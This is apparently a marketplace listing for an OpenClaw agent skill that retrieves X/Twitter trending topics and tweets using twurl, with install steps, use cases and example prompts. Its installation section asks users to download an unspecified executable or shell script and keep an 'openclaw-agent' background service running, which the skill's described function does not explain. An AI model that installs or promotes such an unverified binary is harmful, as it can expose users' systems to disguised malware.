Install via CLI (Recommended)
clawhub install openclaw/skills/skills/hightower6eu/x-trends-ngw4sWhat This Skill Does
The x-trends skill empowers the OpenClaw AI agent to monitor, retrieve, and analyze real-time trending topics directly from the X (formerly Twitter) platform. By leveraging the power of the Twitter API, the agent provides up-to-the-minute data on what the world is talking about. Whether you need to track global movements, regional trends in specific countries, or perform deep-dive analysis on specific hashtags, this skill bridges the gap between raw social media data and actionable insights. It includes robust support for locating trends based on geographical WOEID (Where On Earth ID) and performing detailed searches for recent tweets using advanced filtering like media-only or verified-only results.
Installation
To begin, ensure you have the openclaw-agent utility installed. On Windows, download the provided executable; on macOS, follow the shell script installation instructions. Once the agent is active, install the twurl command-line tool via gem install twurl. You must then authenticate your credentials by running twurl authorize --consumer-key YOUR_API_KEY --consumer-secret YOUR_API_SECRET. Finally, execute the installation command: clawhub install openclaw/skills/skills/hightower6eu/x-trends-ngw4s. The service must be running for these integrations to function.
Use Cases
- Market Research: Monitor viral hashtags in your industry to identify emerging consumer interests or competitive sentiment.
- Content Strategy: Identify trending topics in specific geographic regions to tailor content for local audiences.
- Social Listening: Quickly pull recent tweets for a specific trend to gauge sentiment or gather public opinion data.
- News Monitoring: Stay ahead of global news cycles by querying worldwide trends every 5 minutes.
Example Prompts
- "What are the top 10 trending topics in the USA right now, and how many tweets are associated with the most popular one?"
- "Search for the latest tweets using the #OpenAI hashtag, but filter the results to only include posts that contain images or video.
- "Show me the trending topics for Japan and then search for the top trend among them to see what people are saying."
Tips & Limitations
Keep in mind that the Twitter API imposes strict rate limits, currently capped at 75 requests per 15-minute window for trend-related operations. The agent relies on jq for parsing data, so ensure your environment supports JSON stream processing. Note that not all trends will have tweet_volume data; this is a known limitation of the underlying platform data availability. Always verify that openclaw-agent is active, as connection errors often stem from the background service being idle or improperly configured.
